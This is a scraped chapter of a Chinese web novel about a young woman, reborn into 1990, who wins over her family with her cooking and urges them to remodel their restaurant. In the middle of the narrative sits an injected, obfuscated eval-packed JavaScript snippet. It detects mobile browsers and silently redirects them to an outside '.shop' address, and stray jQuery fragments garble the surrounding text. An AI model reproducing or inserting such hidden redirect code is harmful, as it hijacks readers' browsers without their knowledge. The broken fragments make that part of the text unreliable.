文趣网 > 其他小说 > 我在九零开饭馆[美食] > 4. 第4章 意见不合
    -

    邬乔见到这幕,内心暗自一笑,夹了一筷子放在邬建军的碗里。

    “爸,你要不尝尝这个?”

    陈爱华也不断用眼神示意,让邬建军赶紧动筷。

    后者清清嗓,抬抬下巴。

    “既然你都做了,那我就尝尝点评一下。”

    邬乔浅笑:“行,那邬师傅就给点评下,看看我做的咋样。”

    给了台阶。

    邬建军拿起了筷子,迫不及待将西芹塞进嘴里。

    相比尝到正宗的杭帮菜,他对其他菜并未抱过高的期望。

    西红柿炒鸡蛋和清炒西芹只能算是普通家常菜,南北地区的人大多都会这道菜,没有什么可稀奇的。

    只是,随着第一口西芹下肚,邬建军改变了他的看法。

    他看向邬乔问道:“乔乔,你这西芹是怎么做的?”

    想要做好清炒西芹这道菜并不容易。

    这种蔬菜,火大很容易变老,失去嚼劲,可火小,又炒不熟。

    邬乔勾着唇角,眼里掠过一抹自信。

    “油热后倒入蒜末和姜丝爆香,再转大火倒入西芹进行快炒,大火快炒能让西芹均匀受热保持爽脆口感,最后出锅时再淋上几滴香油翻匀即可出锅。”

    “不过主要还是爸选的这家西芹品质不错。”

    说话还不忘顺便夸夸邬建军。

    想到这,邬乔一阵落寞涌上心头,她垂下眼睫,耸下肩头。

    只可惜,现在的她手腕使不上劲,无法颠锅,不然炒出来的味道更加好吃。

    面对女儿的夸奖,邬建军的心情顿时舒畅了不少,他摸着下巴,若有所思地点了点头。

    “原来如此。”

    紧接着又将筷子伸向其他盘子。

    那道西红柿炒鸡蛋和蚂蚁上树也都是非常适合下米饭的菜。

    前者的鸡蛋嫩滑美味,和西红柿搭配又带着淡淡的酸甜;后者是川菜里的一道名菜。

    吸满酱汁的粉条鲜味十足,一夹就断,吃进嘴里就感受到那股软糯弹牙的爽口,肉末也是颗粒分明,酥香肉末与粉丝形成软硬对比,其中还带着微微的辣。

    四盘菜很快就被五人一扫而光,就连最后大瓷碗里的紫菜蛋花汤大家也都没放过。

    喝得干干净净。

    吃完后,每个人摸着肚子坐在位置上。

    邬林哼哼唧唧道:“撑死我了。”

    邬建军那张黝黑的脸在这时候有些发红,他清了清嗓子。

    “那个...乔乔你做饭确实比我好吃。”

    陈爱华看看别扭的丈夫,原本早上还带着的怒火瞬间荡然无存。

    这时候,邬乔果断说:“那爸妈,既然我做的不错,以后不如就由我来当厨,如何?”

    这话一出,除了不懂的邬兰之外,其他三人都愣住。

    最先反应过来的陈爱华语气里带着不可置信。

    “乔乔你说...你想管店?”

    邬乔点头,眼里写满自信:“没错!现在生意本来就不好做,以后开饭馆的人会越来越多,如果爸爸的手艺不长进,咱家店只会面临关门大吉,还不如现在就做出改变,说不定还能搏出一线生机。”

    “爸爸从前是跟工厂食堂的大厨学的手艺,所以做菜会偏重口,那时的工人要不停工作,体内缺少油水。可如今是开饭馆,并且以后的生活会越变越好,人的口味也会随之改变。”

    “如果咱家饭馆还是这样,和其他店相比是没有任何竞争力的。”

    邬乔的这番话循序渐进,点明了自家饭馆现在生意不好的症结所在,邬建军从起初的没当回事到后来渐渐地紧蹙起眉头。

    他看向邬乔,表情十分严肃。

    “你怎么会知道这些?”

    家人们眼里的邬乔是个比邬兰更不爱说话,甚至可以说是一个非常孤僻的孩子,在家就像透明人一样,让人常常忽略她的存在。

    而此时,面对的邬乔却挺着背脊,直视着他,丝毫没有躲避。

    “爸,我在供销社干了两年,虽然工作不咋样,但也接触了不少人,听见了不少事,自然还是了解一些的。”

    邬建军了然。

    确实——

    在供销社待着,知道的听见的总要比他们在自家饭馆的多。

    陈爱华好奇道:“可就算咱们店转型,又要做什么?你爸他现在就算想再去拜师重新学手艺也来不及了啊,都这么大年纪了。”

    邬乔抿着唇,一笑。

    “妈,你觉得我刚刚做的菜怎么样?”

    陈爱华很快用余光瞥了一眼邬建军,然后回到邬乔的脸上,伸手竖起大拇指:“确实比你爸做的好吃。”

    邬乔:“那你觉得如果咱们店里以后卖这些菜,怎么样?”

    “其实我的想法是,咱们家可以先关店一段时间,重新装修重新开业,毕竟邬记已经开了十多年了,也是时候该换新的风格。”

    话落,就被陈爱华打断了话:“这哪成?关门装修?这得花不少钱吧?而且这半年来生意本来就不好,要是一段时间不开业,万一连老顾客也都走光了咋办?”

    邬乔明白。

    明白爸妈的担忧和未知的茫然无措。

    从八十年代开始,关于个体户开店就已经被批准属于合法经营,也是那时候起开饭馆的人数剧增,直到现在的九零年,开饭馆的人数迎来了第二次爆涨。

    以后开饭馆的人只会越来越多。

    “爸妈,你们有考虑过未来?”

    邬建军和陈爱华听到邬乔说的这个问题后,两人身躯一顿,互相看看彼此,又齐齐看向女儿,眼里带着疑惑。

    邬建军问:“未来?”

    邬乔点头:“没错。”

    “未来你们是就想继续现在这样开店,一直做下去?还是寻求改变?”

    陈爱华叹气:“乔乔,可问题就算改变,要怎么做呢?何况你爸和我都不年轻了,哪有力气折腾?”

    邬乔一笑,拍拍陈爱华的手背。

    “妈,你还不到四十岁,年轻着呢!”

    “而且现在正是国家发展飞速的最佳时期,咱们也要努力抓住风口,不能就这么坐以待毙,爸妈,你们知道海城的金利来吗?”

    陈爱华和邬建军同时摇头道:“不知道!”

    旁边认真听着的邬林倏地发了言。

    “我知道!”

    见大家的目光都投向他,邬林一下子挺起胸膛,颇为自豪。

    “金利来是华国第一家粤式酒楼,并且已经在全国三十多个城市都有连锁店了。”

    邬建军蹙眉:“你咋知道这些?”

    邬林挠挠头发,嘿嘿一笑:“我听我同学们说的,他们去过金利来吃饭,说那家酒楼的饭可贵了,装修的还很气派。”

    邬乔:“没错!十年前金利来在海城开了第一家店铺,直到现在十年期间,他们家在全国开了近三十家连锁店。”

    说到这,她扫过邬建军和陈爱华的脸,和他们对视着。

    “爸妈,难道你们就甘心一直在这个小饭馆里做一辈子吗?你们就没有想象过想金利来的老板一样,将自家饭馆做大?”

    “我——”

    面对追问,邬建军面色凝重,不愿回答,而陈爱华见丈夫这样,只好跟邬乔说道:“乔乔,你让爸妈认真考虑考虑。”

    邬乔一字一顿:“爸妈,我之所以不想在供销社干,是因为我不想再过看人脸色的工作,我想自己创业,既然我有这个天赋,有这个手艺,为什么不利用起来?”

    邬林也兴冲冲道:“爸妈,我觉得可以诶!大姐做的饭是真的很好吃啊!爸你都能开饭馆当大厨,姐为啥不可以?”

    从来不参与家人谈论重要事的邬兰,居然在这时候也跟着出了声。

    “爸爸妈妈,我也相信姐姐。”

    ...

    下午,三楼卧室。

    邬乔站在镜子前,镜前的她将原本厚厚的那层刘海掀起,露出那张稚气未脱的脸。

    直到现在她才对自己的重生有了那么一抹真切的触感。

    这一切仿佛像一场梦。

    明明昨天自己还是四十六岁,转眼间就回到了二十岁。

    回到了一家人还没出事前。

    既然老天给了她这次机会,她一定会好好把握,改变他们一家人的命运。

    决定好后。

    邬乔离开卧室下楼,出门前正好被陈爱华撞见,对方问道:“乔乔你去哪?”

    邬乔转头看向她,回道:“妈,我去剪个头发,再去办点事。”

    陈爱华没再追问。

    “那你路上注意安全。”

    ...

    傍晚快七点时,直到邬家人把晚饭用过后,邬乔才匆匆回来。

    邬建军还在店里忙着当天的收尾工作,陈爱华见大女儿回来,喊了一声。

    “乔乔,饭菜都给你在锅里热着,你自己去拿。”

    邬乔点头:“好,知道了。”

    经过前厅时,陈爱华和从后厨出来的邬建军才发现变了发型的乌乔。

    前者眼里的惊讶不小。

    “乔乔,你这个发型剪的蛮不错诶!女孩子嘛,就该把脸露出来,干干净净的,多好看!”

    邬建军原本因邬乔久久未归而难看的脸色也变得放松一些。

    “这才有个姑娘家的样子!之前邋里邋遢的像什么样!”

    邬乔“嗯”了一声:“你们放心吧,以后我不会再留那种发型了。”

    说完,她直直去锅里拿饭。

    邬建军和陈爱华反而还愣了几秒。

    他们以为邬乔会不高兴,毕竟之前让她换发型,向来沉闷的女儿却固执万分,说什么都不答应,也只能随她而去了。

    现在居然会主动去换发型,而且还没有反驳他们的话?

    两人疑惑地互看了一眼,便又各自忙碌起来。

    晚上。

    卧室里。

    洗漱完的邬建军躺上床,墙角的化妆桌前坐着陈爱华,她手里拿着一罐乳霜,看着镜子。

    “老邬,你有没有发现今天乔乔有点奇怪?居然会主动去剪头发?”</p

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17564749|204687||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >

    邬建军坐躺在床上,靠着床头正闭着眼休憩。

    “说不定就是心血来潮,不过这次剪的头发确实比之前那狗啃的刘海好看点。”

    陈爱华叹了声气,起身朝床铺走去。

    “那乔乔今天说的那话,你有考虑吗?”

    邬建军边躺下身边回着:“她一个孩子能懂什么?!现在这样就挺好,折腾来折腾去,要是不成,你有想过咋办吗?”

    陈爱华眉梢一挑,反驳道:“你别不承认,乔乔今天做的饭确实比你做的好吃。”

    邬建军冷哼:“我是她老子,她有做饭的天赋也是继承我的。”

    接着,又躺下身去。

    “行了,赶紧睡吧,明天一大早还要早起忙洗菜切肉,也不看看都几点了?”

    陈爱华看到丈夫背过身,一副不想说话的模样,无奈地摇了下头:“你啊,就嘴硬下去吧。”

    不等邬建军反应过来,她擦完脸就起身拉下门口的灯,回床上休息。

    ...

    三楼。

    邬乔刚进屋没一会儿,就听见有人敲门,随后邬兰走进来,小姑娘穿着一身浅蓝色小兔睡裙,手里还拿着东西。

    邬乔轻声问:“怎么了?小兰。”

    “大姐,今天是你的生日,这是我给你买的发夹。”

    邬兰缓缓打开手掌心,露出握在手里的东西。

    是一个小兔子发夹。

    小兔子的头上还簪着一个粉色小花。

    邬乔莞尔一笑:“那麻烦小妹给我戴上,好不好?”

    说完,她低下脑袋。

    邬兰伸出胳膊,在邬乔的头发上轻轻摆弄,几秒后发夹就已经戴好。

    邬乔:“好看吗?”

    邬兰点头:“好看,大姐你早点休息,我先下去啦。”

    等到邬兰走后,又有人敲了门,邬乔一看是邬林。

    “这么晚你还不睡?来干嘛?”

    邬林尴尬笑笑:“姐,这不你生日么,我给你送礼物。”

    像是有些害羞,说完这个话他放下手里的盒子,转身就合上门跑掉。

    邬乔拿起盒子打开,里面是一个精致的女士手表。

    现在这个年头,手表可是贵重物品。

    光是邬林送的这支,只怕攒钱要攒半年多才能买到。

    邬乔内心感慨万千。

    前世的这一天,她因为不敢直说自己被开除的事,跟父母说是自己的离职,故此爸爸更是狠狠骂了她一顿。

    她觉得父母一点都不理解自己,只爱弟弟妹妹,连带着对他们也没什么好脸色。

    那时,她看到他们送来的礼物后,第一瞬间却是觉得他们在耻笑自己,把那些礼物全部扔掉。

    邬乔摸摸盒子里的女士手表,小心翼翼地装起来放进了抽屉里。

    正坐在书桌前,桌子上的台灯还亮着,暖黄色的灯光下她的面容青涩,可眼熟里却透着一股成熟稳重。

    她握着笔,正在纸张上面不断书写着。

    不到一个小时,一份清晰的规划表就跃然纸上。

    直到近十二点,她打了个呵欠。

    抬头看看窗外,夜幕深沉,时不时有风吹过,将树梢上的枝头吹的歪七扭八。

    看样子,明天应该会下雨,估计店里的生意会更冷清。

    邬乔合上了本子后进卫生间洗漱。

    十分钟后,三楼房间的灯光忽然暗下,整片城区陷入沉睡。

    *

    翌日。

    邬乔醒来时,窗外正噼里啪啦下着雨,拉开窗帘就瞧见外面的天色阴沉的厉害,比平时要暗许多。

    看时间,已经快到九点钟。

    洗漱后,换了一身衣服下楼。

    此时,只有陈爱华一个人在忙着擦桌子,邬建军不见人影。

    邬乔打了个呵欠,拿起茶壶给自己倒了一杯水,顺便问:“妈,我爸呢?”

    陈爱华把抹布放进水盆里清了清。

    “你爸啊...他去你张叔家拿菜了,今天不是下雨么,你张叔家的工人都忙着给其他店搬菜,你爸嫌等他们搬过来太晚,就自己去了。”

    杯子里冒出的热腾腾的雾气飘在邬乔的面容前,她沿着杯壁吹吹滚烫的热水。

    小心翼翼地浅酌一口,有些烫。

    “哦,那你们早餐吃了没?”

    陈爱华将水盆端进后厨,回着邬乔的话。

    “早就吃啦,你看你想吃啥,自己去买,抽屉里那有零钱,自己拿。”

    “不用了妈,我等会自己做油泼面吃。”

    陈爱华:“行。”

    母女两人对话结束后,各自继续忙碌着。

    此时街上的雨势愈发汹涌,本就寥寥无几的行人更是加快了步伐,转眼就消失在街道拐角。

    噼里啪啦的雨滴砸在石板上,溅起一朵朵绽开的透明花。

    忽然。

    两道身影出现在邬记店门口,是两个年轻女孩,右边的大波□□孩先拉开了店门走进来,后面还跟着一个齐刘海黑直发女孩。

    -